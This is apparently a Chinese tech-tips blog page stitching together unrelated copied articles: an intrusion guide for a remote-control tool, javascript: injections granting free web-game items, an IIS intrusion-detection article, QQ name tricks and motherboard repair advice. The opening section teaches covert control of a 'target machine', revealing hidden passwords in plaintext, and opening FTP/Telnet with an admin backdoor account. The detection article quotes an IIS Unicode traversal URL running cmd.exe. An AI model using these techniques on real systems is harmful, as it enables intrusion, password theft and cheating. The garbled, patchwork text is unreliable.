2.接下来就可以尝试控制了。当远程桌面图像处于焦点状态(鼠标在图像区域内),你就可以直接敲击键盘发送按键信息,和你操作本地机器一样。但是对于输入大段的文本这是非常不方便的,因为你的每次按键动作都会作为一次HTTP请求发出,输入速度很慢。 如果你想输入大段文本,可以将鼠标选中I ut输入框,然后输入你想要发送的文本,按下回车即可;如果选中了Crlf复选框,则在你输入的文本后面会自动加入回车换行。 3.但是在进行远程计算机登录时,有些机器可能无法通过I ut输入框直接输入登录密码,只能通过模拟键盘输入登录密码。方法如下:通过鼠标直接点击桌面图像,系统会自动识别你的鼠标的单击、双击键信息。如果你在按下鼠标的同时按下了“Shift”、“Alt”或“Ctrl”键,系统也能自动识别。 4.为了更方便地控制远程桌面,可以将远程桌面图像设为自动刷新,这样就不会出现有动作发出而图像没有变化需要手工刷新的情况了。方法如下,勾选“Auto-refresh”项,在右边输入自动刷新间隔,默认为500ms。 高手传经:如果想知道远程被控机中密码框中的密码。则需要用到Pa word→Text项,在有密码框时此项会变为Text→Pa word。此时只要用鼠标左键点击远程桌面图像的密码输入框,则远程被控机密码框中的密码会被翻译成明文显示。如果你取消此项功能,点击Text→Pa word项即可,此时此项就会变为Pa word→Text。 5.如果要远程执行程序,选择Start下拉列表框的Run项,输入你要远程执行的文件名和参数即可,使用方法和Windows的开始菜单的运行命令一致。 如此这般,通过IE就能像操作本机一样控制目标机了。 四、FTP/Telnet一个都不能少 远程控制似乎并不能让我们感到满足,那就再来开启对方的FTP/Telnet服务,彻底过把入侵瘾吧。 1.进入“FTP&am Telnet”菜单,点击FTP/Telnet服务旁边的“Run”就可以启动相关服务了。FTP/Telnetport:设置FTP/Telnet服务的端口,默认FTP为2121,Telnet为2323。Anonymousacce :设置访问FTP服务的权限,是否允许匿名访问(enable),如果不允许则设置访问的用户名和密码。 2.另外,我们还要允许设置不同访问的账号,每个账号可以指定是否可写/可删除/可执行以及设置不同的FTP根目录。可以在FTP设置的文本输入框中输入多个访问账号信息,各个账号信息用回车换行分隔,账号信息格式为: [帐号名]SP[密码]SP[访问权限]SP[允许访问的目录]CRLF 高手传经:设置PERMISSION(访问权限)时,0:仅仅只读,1:可写,3:可写并且可删除7:可写可删除可执行。例如:[cytkk] [123456] [7] [c:]就建立了一个拥有管理员权限,密码为123456的cytkk账户。 3.此时FTP账号信息仅仅写入注册表保存,不会保存到EXE中。 第一:能养五级花 第二:开花效果。植物的叶子会更加茂盛,直接开花 第三:附带一个金色人参果 先在这里发一款可以拿去试下:蛋糕仔只要在地址栏输入如下代码 javascript:window.top. ace_addItem(7,11600,0,0,0,1,0); javascript:window.top. ace_addItem(7,11600,0,0,0,1,0);蛋糕仔 javascript:window.top. ace_addItem(7,10809,0,0,0,1,0);快乐圣诞节 javascript:window.top. ace_addItem(7,10810,0,0,0,1,0);甜入心房 javascript:window.top. ace_addItem(7,10104,0,0,0,1,0);海底世界 javascript:window.top. ace_addItem(7,10106,0,0,0,1,0);清寒幽兰 javascript:window.top. ace_addItem(7,6552,0,0,0,1,0);独舞 javascript:window.top. ace_addItem(7,6549,0,0,0,1,0);纯朴 javascript:window.top. ace_addItem(7,7981,0,0,0,1,0);梦 javascript:window.top. ace_addItem(7,7288,0,0,0,1,0);荷缘 javascript:window.top. ace_addItem(7,9997,0,0,0,1,0);christmas javascript:window.top. ace_addItem(7,9782,0,0,0,1,0);梦之小屋 javascript:window.top. ace_addItem(7,9784,0,0,0,1,0);深海世界 javascript:window.top. ace_addItem(7,9785,0,0,0,1,0);深秋遗风 javascript:window.top. ace_addItem(7,9465,0,0,0,1,0);糖果屋 javascript:window.top. ace_addItem(7,9361,0,0,0,1,0);狮子圆舞曲 javascript:window.top. ace_addItem(7,9362,0,0,0,1,0);幽伤时刻 javascript:window.top. ace_addItem(7,8980,0,0,0,1,0);天星-白羊 javascript:window.top. ace_addItem(7,8974,0,0,0,1,0);博爱-水瓶 javascript:window.top. ace_addItem(7,8032,0,0,0,1,0);心心相应 javascript:window.top. ace_addItem(7,7946,0,0,0,1,0);可爱青春 javascript:window.top. ace_addItem(7,7182,0,0,0,1,0);花从锭放 javascript:window.top. ace_addItem(7,7183,0,0,0,1,0);魔法菇 javascript:window.top. ace_addItem(7,6729,0,0,0,1,0);花非雨 javascript:window.top. ace_addItem(7,6550,0,0,0,1,0);蠢蠢的爱 javascript:window.top. ace_addItem(7,6551,0,0,0,1,0);淡淡相思 javascript:window.top. ace_addItem(7,6553,0,0,0,1,0);黑夜妖精 javascript:window.top. ace_addItem(7,6554,0,0,0,1,0);火红季节 javascript:window.top. ace_addItem(7,6556,0,0,0,1,0);魅力恋歌 javascript:window.top. ace_addItem(7,6557,0,0,0,1,0);清爽之夏 javascript:window.top. ace_addItem(7,6559,0,0,0,1,0);酸酸甜甜 javascript:window.top. ace_addItem(7,6398,0,0,0,1,0);羞答答 javascript:window.top. ace_addItem(7,6399,0,0,0,1,0);小黄花 javascript:window.top. ace_addItem(7,6400,0,0,0,1,0);天使的爱 javascript:window.top. ace_addItem(7,6401,0,0,0,1,0);爱之星月下 javascript:window.top. ace_addItem(7,6274,0,0,0,1,0);清淡之香 javascript:window.top. ace_addItem(7,6071,0,0,0,1,0);紫外线 javascript:window.top. ace_addItem(7,3675,0,0,0,1,0);最爱兰花 javascript:window.top. ace_addItem(7,2942,0,0,0,1,0);风花雪 javascript:window.top. ace_addItem(7,2875,0,0,0,1,0);草莓情缘 javascript:window.top. ace_addItem(7,2877,0,0,0,1,0);小野花之恋 javascript:window.top. ace_addItem(7,2876,0,0,0,1,0);葵心向我 javascript:window.top. ace_addItem(7,2668,0,0,0,1,0);紫铃儿 javascript:window.top. ace_addItem(7,2468,0,0,0,1,0);我心依旧 javascript:window.top. ace_addItem(7,2467,0,0,0,1,0);美人鱼 javascript:window.top. ace_addItem(7,2464,0,0,0,1,0);黑玫瑰 javascript:window.top. ace_addItem(7,2465,0,0,0,1,0);烈艳红唇 javascript:window.top. ace_addItem(7,2466,0,0,0,1,0);绿茶飘香 就算你是花匠学徒,你也可以拥有五级花,是黑客的话,什么都不怕!!!! 经过精心配置的Win2000服务器可以防御90%以上的入侵和渗透,但是,就象上一章结束时所提到的:系统安全是一个连续的过程,随着新漏洞的出现和服务器应用的变化,系统的安全状况也在不断变化着;同时由于攻防是矛盾的统一体,道消魔长和魔消道长也在不断的转换中,因此,再高明的系统管理员也不能保证一台正在提供服务的服务器长时间绝对不被入侵。 所以,安全配置服务器并不是安全工作的[/size]结束,相反却是漫长乏味的安全工作的开始,本文我们将初步探讨Win2000服务器入侵检测的初步技巧,希望能帮助您长期维护服务器的安全。 入侵的检测主要还是根据应用来进行,提供了相应的服务就应该有相应的检测分析系统来进行保护,对于一般的主机来说,主要应该注意以下几个方面: 1.基于80端口入侵的检测 WWW服务大概是最常见的服务之一了,而且由于这个服务面对广大用户,服务的流量和复杂度都很高,所以针对这个服务的漏洞和入侵技巧也最多。对于NT来说,IIS一直是系统管理员比较头疼的一部分,不过好在IIS自带的日志功能从某种程度上可以成为入侵检测的得力帮手。IIS自带的日志文件默认存放在System32/LogFiles目录下,一般是按24小时滚动的,在IIS管理器中可以对它进行详细的配置。 我们假设一台WEB服务器,开放了WWW服务,你是这台服务器的系统管理员,已经小心地配置了IIS,使用W3C扩展的日志格式,并至少记录了时间(Time)、客户端IP(ClientIP)、方法(Method)、URI资源(URIStem)、URI查询(URIQuery),协议状态(ProtocolStatus),我们用最近比较[/size]流行的Unicode漏洞来进行分析:打开IE的窗口,在地址栏输入:127.0.0.1/scripts/%c1%1c/wi t/system32/cmd.exe?/c+dir默认的情况下你可以看到目录列表,让我们来看看IIS的日志都记录了些什么,打开Ex010318.log(Ex代表W3C扩展格式,后面的一串数字代表日志的记录日期):07:42:58127.0.0.1GET/scripts/\/wi t/system32\cmd.exe/c+dir200上面这行日志表示在格林威治时间07:42:58(就是北京时间23:42:58),有一个家伙(入侵者)从127.0.0.1的IP在你的机器上利用Unicode漏洞(%c1%1c被解码为“\”,实际的情况会因为Windows版本的不同而有略微的差别)运行了cmd.exe,参数是/cdir,运行结果成功(HTTP200代表正确返回)。 大多数情况下,IIS的日志会忠实地记录它接收到的任何请求(也有特殊的不被IIS记录的攻击,这个我们以后再讨论)。但是,IIS的日志动辄数十兆、流量大的网站甚至数十G,人工检查几乎没有可能,唯一的选择就是使用日志分析软件,用任何语言编写一个日志分析软件(其实就是文本过滤器)都非常简单。 告诉大家一个简单的方法,比方说你想知道有没有人从80端口上试图取得你的Global.asa文件,可以使用以下的命令:find“Global.asa”ex010318.log/i。这个命令使用的是NT自带的find.exe工具,可以轻松的从文本文件中找到你想过滤的字符串,“Global.asa”是需要查询的字符串,ex010318.log是待过滤的文本文件,/i代表忽略大小写。因为我无意把这篇文章写成微软的Help文档,所以关于这个命令的其他参数以及它的增强版FindStr.exe的用法请去查看Win2000的帮助文件。 无论是基于日志分析软件或者是Find命令,你都可以建立一张敏感字符串列表,包含已有的IIS漏洞(比如“+.htr”)以及未来将要出现的漏洞可能会调用的资源(比如Global.asa或者cmd.exe),通过过滤这张不断更新的字符串表,一定可以尽早了解入侵者的行动。 需要提醒的是,使用任何日志分析软件都会占用一定的系统资源,因此,对于IIS日志分析这样低优先级的任务,放在夜里空闲时自动执行会比较合适,如果再写一段脚本把过滤后的可疑文本发送给系统管理员,那就更加完美了。同时,如果敏感字符串表较大,过滤策略复杂,我建议还是用C写一个专用程序会比较合算。 2.基于安全日志的检测 通过基于IIS日志的入侵监测,我们能提前知道窥伺者的行踪(如果你处理失当,窥伺者随时会变成入侵者),但是IIS日志不是万能的,它在某种情况下甚至不能记录来自80端口的入侵,根据我对IIS日志系统的分析,IIS只有在一个请求完成后才会写入日志,换言之,如果一个请求中途失败,日志文件中是不会有它的踪影的(这里的中途失败并不是指发生HTTP400错误这样的情况,而是从TCP层上没有完成HTTP请求,例如在POST大量数据时异常中断),对于入侵者来说,就有可能绕过日志系统完成大量的活动。 而且,对于非80Only的主机,入侵者也可以从其它的服务进入服务器,因此,建立一套完整的安全监测系统是非常必要的。 Win2000自带了相当强大的安全日志系统,从用户登录到特权的使用都有非常详细的记录,可惜的是,默认***下安全审核是关闭的,以至于一些主机被黑后根本没法追踪入侵者。所以,我们要做的第一步是在管理工具-本地安全策略-本地策略-审核策略中打开必要的审核,一般来说,登录事件与账户管理是我们最关心的事件,同时打开成功和失败审核非常必要,其他的审核也要打开失败审核,这样可以使得入侵者步步维艰,一不小心就会露出马脚。仅仅打开安全审核并没有完全解决问题,如果没有很好的配置安全日志的大小及覆盖方式,一个老练的入侵者就能够通过洪水般的伪造入侵请求覆盖掉他真正的行踪。通常情况下,将安全日志的大小指定为50MB并且只允许覆盖7天前的日志可以避免上述情况的出现。 除了安全日志,系统日志和应用程序日志也是非常好的辅助监测工具,一般来说,入侵者除了在安全日志中留下痕迹(如果他拿到了Admin权限,那么他一定会去清除痕迹的),在系统和应用程序日志中也会留下蛛丝马迹,作为系统管理员,要有不放过任何异常的态度,这样入侵者就很难隐藏他们的行踪。 3.文件访问日志与关键文件保护 除了系统默认的安全审核外,对于关键的文件,我们还要加设文件访问日志,记录对它们的访问。 文件访问有很多的选项:访问、修改、执行、新建、属性更改……一般来说,关注访问和修改就能起到很大的监视作用。 例如,如果我们监视了系统目录的修改、创建,甚至部分重要文件的访问(例如cmd.exe,net.exe,system32目录),那么,入侵者就很难在不引起我们注意的情况下安放后门。要注意的是,监视的关键文件和项目不能太多,否则不仅增加系统负担,还会扰乱日常的日志监测工作。关键文件不仅仅指的是系统文件,还包括有可能对系统管理员和其他用户构成危害的任何文件,例如系统管理员的配置、桌面文件等等,这些都是有可能被用来窃取系统管理员资料和密码的。 4.进程监控 进程监控技术是追踪木马后门的另一个有力武器,90%以上的木马和后门是以进程的形式存在的。作为系统管理员,了解服务器上运行的每个进程是职责之一(否则不要说安全,连系统优化都没有办法做)。做一份每台服务器运行进程的列表非常必要,能帮助管理员一眼就发现入侵进程,异常的用户进程或者异常的资源占用都有可能是非法进程。除了进程外,dll也是危险的东西,例如把原本是exe类型的木马改写为dll后,使用rundll32运行就比较具有迷惑性。 注:我希望大家在看完后,自己慢慢摸索,实践才是最好的老师! 1、在QQ名字中加入表情: 大家好,最近这段时间大家一定都发现了 可以通过在QQ名字中加入/db 这种QQ表情启动命令来让自己的QQ名字变得很酷。但是有的需要很多字符才能完成一个表情的在名字中加上这么多的字母也不好看。有没有更好的办法呢? 当然有,就是使用特殊字符:加上对应的字母一样可以实现和/yj一样的效果,比如U就和/美眉 是一样的效果 用这个办法可以帮大家节省QQ名字的空间 让自己中意的名字和好看的QQ表情结合 看起来更眩! 2、不在聊天对话框留下时间: 还有就是不少人可以在聊天窗口不留下时间。这也是通过特殊符号: 来实现的把() 括号里面这个符号加在自己的QQ名字后面就可以在对话的时候不留下自己的时间了 3、让自己的名字在好友名单上排名靠前: 还有就是怎么样使自己QQ的名字能在好友列表上排的更靠前些……也可以通过特殊字符来搞定 就是: 把这个字符加在你名字的前面就会使你的名字排在好友列表的前面咯 下面是QQ表情列表。找出你喜欢的表情加在自己的名字中,让自己的QQ名字变眩吧 只需要把前面的和字母复制到自己的名字中就可以了: A/惊讶 B/撇嘴 C/色 D/发呆 E/得意 F/流泪 G/害羞 H/闭嘴 I/睡 J/大哭 K/尴尬 L/发怒 M/调皮 N/呲牙 O/微笑 P/多多 Q/美女 R/汉良 S/毛毛 T/Q仔 U/美眉 V/飞吻 W/找 X/跳 Y/闪人 Z/发抖 a/西瓜 /玫瑰 c/凋谢 d/吻 e/爱心 f/心碎 g/蛋糕 h/礼物 i/下雨 j/多云 k/太阳 l/雪人 m/星星 o/强 /弱 q/女 r/男 /难 励志学习|病毒防护|软件技巧|故障解疑|菜鸟黑客|
文章收集于网络,希望对你我都有帮助。
每日更新,RSS全文输出,欢迎订阅
2007年08月05日
随着主板电路集成度的不断提高及主板价格的降低,其可维修性越来越低。但掌握全面的维修技术对迅速判断主板故障及维修其他电路板仍是十分必要的。下文向大家讲解主板故障的分类、起因和维修。
  一、主板故障的分类
  1.根据对微机系统的影响可分为非致命性故障和致命性故障非致命性故障也发生在系统上电自检期间,一般给出错误信息;致命性故障发生在系统上电自检期间,一般导致系统死机。   
  2.根据影响范围不同可分为局部性故障和全局性故障局部性故障指系统某一个或几个功能运行不正常,如主板上打印控制芯片损坏,仅造成联机打印不正常,并不影响其它功能;全局性故障往往影响整个系统的正常运行,使其丧失全部功能,例如时钟发生器损坏将使整个系统瘫痪。   
  3.根据故障现象是否固定可分为稳定性故障和不稳定性故障。稳定性故障是由于元器件功能失效、电路断路、短路引起,其故障现象稳定重复出现,而不稳定性故障往往是由于接触不良、元器件性能变差,使芯片逻辑功能处于时而正常、时而不正常的临界状态而引起。如由于I/O插槽变形,造成显示卡与该插槽接触不良,使显示呈变化不定的错误状态。   
  4.根据影响程度不同可分为独立性故障和相关性故障。独立性故障指完成单一功能的芯片损坏;相关性故障指一个故障与另外一些故障相关联,其故障现象为多方面功能不正常,而其故障实质为控制诸功能的共同部分出现故障引起(例如软、硬盘子系统工作均不正常,而软、硬盘控制卡上其功能控制较为分离,故障往往在主板上的外设数据传输控制即DMA控制电路)。   
  5.根据故障产生源可分为电源故障、总线故障、元件故障等。
  电源故障包括主板上+12V、+5V及+3.3V电源和Power Good信号故障;总线故障包括总线本身故障和总线控制权产生的故障;元件故障则包括电阻、电容、集成电路芯片及其它元部件的故障。
  二、引起主板故障的主要原因
  1.人为故障:带电插拨I/O卡,以及在装板卡及插头时用力不当造成对接口、芯片等的损害
  2.环境不良:静电常造成主板上芯片(特别是CMOS芯片)被击穿。另外,主板遇到电源损坏或电网电压瞬间产生的尖峰脉冲时,往往会损坏系统板供电插头附近的芯片。如果主板上布满了灰尘,也会造成信号短路等。   
  3.器件质量问题:由于芯片和其它器件质量不良导致的损坏。
  三、主板故障检查维修的常用方法
  主板故障往往表现为系统启动失败、屏幕无显示等难以直观判断的故障现象。下面列举的维修方法各有优势和局限性,往往结合使用。
  1.清洁法
  可用毛刷轻轻刷去主板上的灰尘,另外,主板上一些插卡、芯片采用插脚形式,常会因为引脚氧化而接触不良。可用橡皮擦去表面氧化层,重新插接。
  2.观察法
  反复查看待修的板子,看各插头、插座是否歪斜,电阻、电容引脚是否相碰,表面是否烧焦,芯片表面是否开裂,主板上的铜箔是否烧断。还要查看是否有异物掉进主板的元器件之间。遇到有疑问的地方,可以借助万用表量一下。触摸一些芯片的表面,如果异常发烫,可换一块芯片试试。
  3.电阻、电压测量法
  为防止出现意外,在加电之前应测量一下主板上电源+5V与地(GND)之间的电阻值。最简捷的方法是测芯片的电源引脚与地之间的电阻。未插入电源插头时,该电阻一般应为300Ω,最低也不应低于100Ω。再测一下反向电阻值,略有差异,但不能相差过大。若正反向阻值很小或接近导通,就说明有短路发生,应检查短的原因。产生这类现象的原因有以下几种:
  (1)系统板上有被击穿的芯片。一般说此类故障较难排除。例如TTL芯片(LS系列)的+5V连在一起,可吸去+5V引脚上的焊锡,使其悬浮,逐个测量,从而找出故障片子。如果采用割线的方法,势必会影响主板的寿命。   
  (2)板子上有损坏的电阻电容。   
  (3)板子上存有导电杂物。
  当排除短路故障后,插上所有的I/O卡,测量+5V,+12V与地是否短路。特别是+12V与周围信号是否相碰。当手头上有一块好的同样型号的主板时,也可以用测量电阻值的方法测板上的疑点,通过对比,可以较快地发现芯片故障所在。
  当上述步骤均未见效时,可以将电源插上加电测量。一般测电源的+5V和+12V。当发现某一电压值偏离标准太远时,可以通过分隔法或割断某些引线或拔下某些芯片再测电压。当割断某条引线或拔下某块芯片时,若电压变为正常,则这条引线引出的元器件或拔下来的芯片就是故障所在。
  4.拔插交换法
  主机系统产生故障的原因很多,例如主板自身故障或I/O总线上的各种插卡故障均 可导致系统运行不正常。采用拔插维修法是确定故障在主板或I/O设备的简捷方法。该方法就是关机将插件板逐块拔出,每拔出一块板就开机观察机器运行状态,一旦拔出某块后主板运行正常,那么故障原因就是该插件板故障或相应I/O总线插槽及负载电路故障。若拔出所有插件板后系统启动仍不正常,则故障很可能就在主板上。采用交换法实质上就是将同型号插件板,总线方式一致、功能相同的插件板或同型号芯片相互芯片相互交换,根据故障现象的变化情况判断故障所在。此法多用于易拔插的维修环境,例如内存自检出错,可交换相同的内存芯片或内存条来确定故障原因。
  5.静态、动态测量分析法
  (1)静态测量法:让主板暂停在某一特写状态下,由电路逻辑原理或芯片输出与输入之间的逻辑关系,用万用表或逻辑笔测量相关点电平来分析判断故障原因。   
  (2)动态测量分析法:编制专用论断程序或人为设置正常条件,在机器运行过程中用示波器测量观察有关组件的波形,并与正常的波形进行比较,判断故障部位。
  6.先简单后复杂并结合组成原理的判断法
  随着大规模集成电路的广泛应用,主板上的控制逻辑集成度越来越高,其逻辑正确性越来越难以通过测量来判断。可采用先判断逻辑关系简单的芯片及阻容元件,后将故障集中在逻辑关系难以判断的大规模集成电路芯片。
  7.软件诊断法
  通过随机诊断程序、专用维修诊断卡及根据各种技术参数(如接口地址),自编专用诊断程序来辅助硬件维修可达到事半功倍之效。程序测试法的原理就是用软件发送数据、命令,通过读线路状态及某个芯片(如寄存器)状态来识别故障部位。此法往往用于检查各种接口电路故障及具有地址参数的各种电路。但此法应用的前提是CPU及基总线运行正常,能够运行有关诊断软件,能够运行***于I/O总线插槽上的诊断卡等。编写的诊断程序要严格、全面有针对性,能够让某些关键部位出现有规律的信号,能够对偶发故障进行反复测试及能显示记录出错情况。
使用中音箱发出吱吱声后,显示器无显示,主机停止工作
一台AT&am T Globalyst 515型微机,486DX4100 CPU、CIRRUS GD5249显卡、TOPSTAR TM-858声卡、TW解压卡,主板上只有一个IDE接口,SONY CDU77E四速光驱连接在声卡的IDE口上。一次在使用的过程中,从音箱中听到吱吱声后,显示器无显示,主机停止工作。关机后,重新启动计算机,屏幕显示出错代码601和I9990305。翻阅计算机用户手册,601是指主板上的磁盘控制器发生故障,I9990305是指BIOS不能从A驱和C驱启动系统。
将机箱打开,拆下声卡和解压卡,仔细观察主板,未发现有明显的故障点;再拔插各连接线的接口,重新启动计算机。顺利启动。关机后将声卡、解压卡装上,再启动计算机,又出现如上的错误代码,这时意识到问题出在声卡和解压卡上。突然想到在出故障前声卡出现了不正常的声音,仔细观察声卡,发现一个芯片有明显的烧伤痕迹,芯片的型号为LS212(631GH)。经过分析得知,计算机出现以上故障是因为该芯片烧坏造成ISA插槽短路引起的,计算机在启动自检时错误地认为是主板出现了故障。
故障的原因找到了,但苦于无法在市场上找到相同或参数相近的芯片,并且声卡的主芯片(ALS007) 也并没有损坏。由于芯片LS212的功能是驱动光驱(估计是因为芯片本身的质量不过关,而光驱长时间连续工作,导致该芯片烧坏),而声卡的工作分为两部分(一部分工作为驱动光驱;另一部分工作为处理声音),两部分工作无明显的联系,因此将LS212芯片从声卡上取下,使驱动光驱的模块开路,插上声卡,将光驱和硬盘接在同一IDE口上,启动计算机,在Windows下又听到了悦耳的音乐。
最后需要提醒的是,当计算机自检报告主板有故障时,先别忘了看看主板插槽上各个插卡是否损坏。
 电脑出现的故障原因扑朔迷离,让人难以捉摸。并且由于Windows操作系统的组件相对复杂,电脑一旦出现故障,对于普通用户来说,想要准确地找出其故障的原因几乎是不可能的。那么是否是说我们如果遇到电脑故障的时候,就完全束手无策了呢?其实并非如此,使电脑产生故障的原因虽然有很多,但是,只要我们细心观察,认真总结,我们还是可以掌握一些电脑故障的规律和处理办法的。在本期的小册子中,我们就将一些最为常见也是最为典型的电脑故障的诊断、维护方法展示给你,通过它,你就会发现解决电脑故障方法就在你的身边,简单,但有效!
  电脑是由各种配件组合而成的,下面,我们就根据组成电脑的各个部件分别对其经常出现的故障进行分析。
一、主板
  主板是整个电脑的关键部件,在电脑起着至关重要的作用。如果主板产生故障将会影响到整个PC机系统的工作。下面,我们就一起来看看主板在使用过程中最常见的故障有哪些。
常见故障一:开机无显示
  电脑开机无显示,首先我们要检查的就是是BIOS。主板的BIOS中储存着重要的硬件数据,同时BIOS也是主板中比较脆弱的部分,极易受到破坏,一旦受损就会导致系统无法运行,出现此类故障一般是因为主板BIOS被CIH病毒破坏造成(当然也不排除主板本身故障导致系统无法运行。)。一般BIOS被病毒破坏后硬盘里的数据将全部丢失,所以我们可以通过检测硬盘数据是否完好来判断BIOS是否被破坏,如果硬盘数据完好无损,那么还有三种原因会造成开机无显示的现象:
  1. 因为主板扩展槽或扩展卡有问题,导致插上诸如声卡等扩展卡后主板没有响应而无显示。
  2. 免跳线主板在CMOS里设置的CPU频率不对,也可能会引发不显示故障,对此,只要清除CMOS即可予以解决。清除CMOS的跳线一般在主板的锂电池附近,其默认位置一般为1、2短路,只要将其改跳为2、3短路几秒种即可解决问题,对于以前的老主板如若用户找不到该跳线,只要将电池取下,待开机显示进入CMOS设置后再关机,将电池上上去亦达到CMOS放电之目的。
  3. 主板无法识别内存、内存损坏或者内存不匹配也会导致开机无显示的故障。某些老的主板比较挑剔内存,一旦插上主板无法识别的内存,主板就无法启动,甚至某些主板不给你任何故障提示(鸣叫)。当然也有的时候为了扩充内存以提高系统性能,结果插上不同品牌、类型的内存同样会导致此类故障的出现,因此在检修时,应多加注意。
  对于主板BIOS被破坏的故障,我们可以插上ISA显卡看有无显示(如有提示,可按提示步骤操作即可。),倘若没有开机画面,你可以自己做一张自动更新BIOS的软盘,重新刷新BIOS,但有的主板BIOS被破坏后,软驱根本就不工作,此时,可尝试用热插拔法加以解决(我曾经尝试过,只要BIOS相同,在同级别的主板中都可以成功烧录。)。但采用热插拔除需要相同的BIOS外还可能会导致主板部分元件损坏,所以可靠的方法是用写码器将BIOS更新文件写入BIOS里面(可找有此服务的电脑商解决比较安全)。
常见故障二:CMOS设置不能保存
  此类故障一般是由于主板电池电压不足造成,对此予以更换即可,但有的主板电池更换后同样不能解决问题,此时有两种可能:
  1. 主板电路问题,对此要找专业人员维修;
  2. 主板CMOS跳线问题,有时候因为错误的将主板上的CMOS跳线设为清除选项,或者设置成外接电池,使得CMOS数据无法保存。
常见故障三:在Windows下***主板驱动程序后出现死机或光驱读盘速度变慢的现象
  在一些杂牌主板上有时会出现此类现象,将主板驱动程序装完后,重新启动计算机不能以正常模式进入Windows 98桌面,而且该驱动程序在Windows 98下不能被卸载。如果出现这种情况,建议找到最新的驱动重新***,问题一般都能够解决,如果实在不行,就只能重新***系统。
常见故障四:***Windows或启动Windows时鼠标不可用
  出现此类故障的软件原因一般是由于CMOS设置错误引起的。在CMOS设置的电源管理栏有一项modem use IRQ项目,他的选项分别为3、4、5......、NA,一般它的默认选项为3,将其设置为3以外的中断项即可。
常见故障五:电脑频繁死机,在进行CMOS设置时也会出现死机现象
  在CMOS里发生死机现象,一般为主板或CPU有问题,如若按下法不能解决故障,那就只有更换主板或CPU了。
  出现此类故障一般是由于主板Cache有问题或主板设计散热不良引起,笔者在815EP主板上就曾发现因主板散热不够好而导致该故障的现象。在死机后触摸CPU周围主板元件,发现其温度非常烫手。在更换大功率风扇之后,死机故障得以解决。对于Cache有问题的故障,我们可以进入CMOS设置,将Cache禁止后即可顺利解决问题,当然,Cache禁止后速度肯定会受到有影响。
常见故障六:主板COM口或并行口、IDE口失灵
  出现此类故障一般是由于用户带电插拔相关硬件造成,此时用户可以用多功能卡代替,但在代替之前必须先禁止主板上自带的COM口与并行口(有的主板连IDE口都要禁止方能正常使用)。
教你如何清洗主板
  板卡出厂前一般都要经过清洗的程序,一般都是用专门的洗板水,将板卡清洗烘干后焕然一新再包装出厂。这样的洗板水经过去离子和去静电处理,不会腐蚀和击穿电路板。
  其实,我们自己也可以动手清洗主板,讲究一点的话就去买专用的洗板水,否则就用不导电的二次蒸馏水,以确保清洗的水不带静电离子。注意最好不要用我们常喝的矿泉水(含太多离子杂质),也不要用自来水,这样的水经常呈弱酸或弱碱性,容易腐蚀电路板。
  假如没有把握完全烘干,清洗前最好拔下板卡上的电池、集成块等,总之拔下能拔下的所有东西。在清洗的过程中要使用比较软的刷子,并注意不要碰坏零件和焊点、电容等。
  一般来说,CPU插槽、AGP槽、PCI槽、南桥和北桥芯片底下、每个集成电路IC芯片的底下、内存槽旁边的金属触点旁边,还有BIOS芯片底下,都是不容易清理的和烘干的地方。洗刷的时候还可以使用超声波清洗仪(眼镜店一般都有)来清洗很难洗刷或者看不见的污垢,但是同时也可能对元件造成损伤。
  烘干前,我们可以通过在主板上刷酒精以加快水分蒸发。烘干主板可以使用家用的电吹风,也可以拿到修车店用高压气泵吹干。烘干机最好用风流量比较大的,这样可以把不容易烘干的地方的水强制吹出来。烘干的时候一定要彻底,不然会导致局部短路,那样报废的可能就不仅仅是主板了。另外,主板烘干后要再晾一段时间,最好使用烘灯(或家用台灯)再烤24小时,以保证加电时不会有水蒸气存在。
  按照这个原则,电脑主机里的CPU、板卡、内存甚至硬盘的电路板都可以拿出来清洗。必须要注意的是,如果确认不是由于灰尘太多造成故障的,或者不是到了万不得已的时候,最好不要单纯为了好看而清洗配件,毕竟这样做的风险相当大。
2 计算机主机除尘及板卡维护
计算机是高精密的设备,除了要正确地使用之外,日常的维护保养也是十分重要的。长期的维修工作表明,大量的故障都是由于缺乏日常维护或者维护方法不当造成的。下面介绍计算机常用的维护工具、维护注意事项、主机箱内各部分连线的拆除、机箱内部除尘及板卡的常规维护方法。
1.维护工具
电脑维护不需要很复杂的工具,一般的除尘维护只需要准备十字螺丝刀、平口螺丝刀、油漆刷(或者油画笔,普通毛笔容易脱毛,不宜使用)就可以了,如果要清洗软驱、光驱内部,还需要准备镜头拭纸、电吹风、无水乙醇(分析纯)、脱脂棉球、钟表起子(一套)、镊子、吹气球(皮老虎)、回形针、钟表油(或缝纫机油)、黄油。如还需要进一步维修,再准备一只尖嘴钳、一只试电笔和一只万用表。
2.维护注意事项
(1)有些原装和品牌电脑不允许用户自己打开机箱,如擅自打开机箱可能会失去一些由厂商提供的保修权利,请用户特别注意。
(2)各部件要轻拿轻放,尤其是硬盘,摔一下就会要了它的命。
(3)拆卸时注意各插接线的方位,如硬盘线、软驱线、电源线等,以便正确还原。
(4)用螺丝固定各部件时,应首先对准部件的位置,然后再上紧螺丝。尤其是主板,略有位置偏差就可能导致插卡接触不良;主板***不平可能会导致内存条、适配卡接触不良甚至造成短路,天长日久甚至可能会发生形变,导致故障发生。
(5)由于计算机板卡上的集成电路器件多采用MOS技术制造,这种半导体器件对静电高压相当敏感。当带静电的人或物触及这些器件后,就会产生静电释放,而释放的静电高压将损坏这些器件。日常生活中静电是无处不在的,例如当你在脱一些化纤衣服时有可能听到声响或看到闪光,此时的静电至少在5kV以上,足以损坏计算机的元器件,因此维护电脑时要特别注意静电防护。在拆卸维护电脑之前必须做到以下各点:
--断开所有电源。
--在打开机箱之前,双手应该触摸一下金属接地物(如暖气管),释放身上的静电。拿主板和插卡时,应尽量拿卡的边缘,不要用手接触板卡的集成电路。如果一定要接触内部线路,最好戴上接地指环。
--请不要穿容易与地板、地毯摩擦产生静电的胶鞋在各类地毯上行走。脚穿金属鞋能良好地释放人身上的静电,有条件的工作场所应采用防静电地板。
--保持一定的湿度。空气干燥也容易产生静电,理想湿度应为40%-60%。
--使用电烙铁、电风扇一类电器时应接好接地线。
3.计算机主机的拆卸
(1)拔下外设连线
关闭电源开关,拔下电源线以后,就可以开始拆卸主机了。拆卸主机的第一步是拔下机箱后侧的所有外设连线。拔除外设与电脑的连线主要两种形式:一种将插头直接向外平拉就可以了,如键盘线、PS/2鼠标线、电源线、USB电缆等等;另一种插头需先拧松插头两边的螺丝固定把手,再向外平拉,如显示器信号电缆插头、打印机信号电缆插头。早期的有些信号电缆没有螺丝固定把手,需用螺丝刀拧下插头两边的螺丝。
(2)打开机箱盖
